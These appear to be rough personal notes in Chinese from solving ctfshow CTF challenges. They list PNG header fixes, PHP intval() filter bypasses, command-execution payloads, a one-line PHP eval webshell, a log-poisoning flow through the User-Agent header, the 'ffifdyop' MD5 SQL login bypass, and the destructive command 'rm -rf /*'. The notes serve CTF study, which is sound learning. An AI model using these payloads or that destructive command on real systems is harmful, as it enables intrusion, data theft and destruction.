ps:在刷ctfshow的题时随手记录一下,很粗糙...
1.文件头错误
一般将png图片放入101中前面为89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52第一列一般如此,若如下
该图片即加载不出,需修改成原样图片即可出现
png宽为08 34,高为 05 14
2.web 绕过(部分在ctfshow wp里面)
intval() 函数的绕过总结 1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。 2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。 4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号) 5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。 6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5
删库:rm -rf /*
一些语句:
system:
显示根目录 ?c=system("ls");
得到目标文件?c=system("cat /文件名");
类似的有?c=echo shell_exec('tac config.php'); c=highlight_file('config.php'); ?c=show_source('config.php'); ?c=passthru('cat config.php');
;可以用?>绕过,闭合。
一句话木马:<?php eval($_POST['cmd']); ?>
日志注入流程:
首先访问日志,即?url=/var/log/nginx/access.log
然后连接bp,将user-agent改成一句话木马
最后连接菜刀,找到flag
在MD5加密的题目中:(此处转载
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/120117499)
在密码框中输入 ffifdyop, 即可登录成功, 获取flag
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密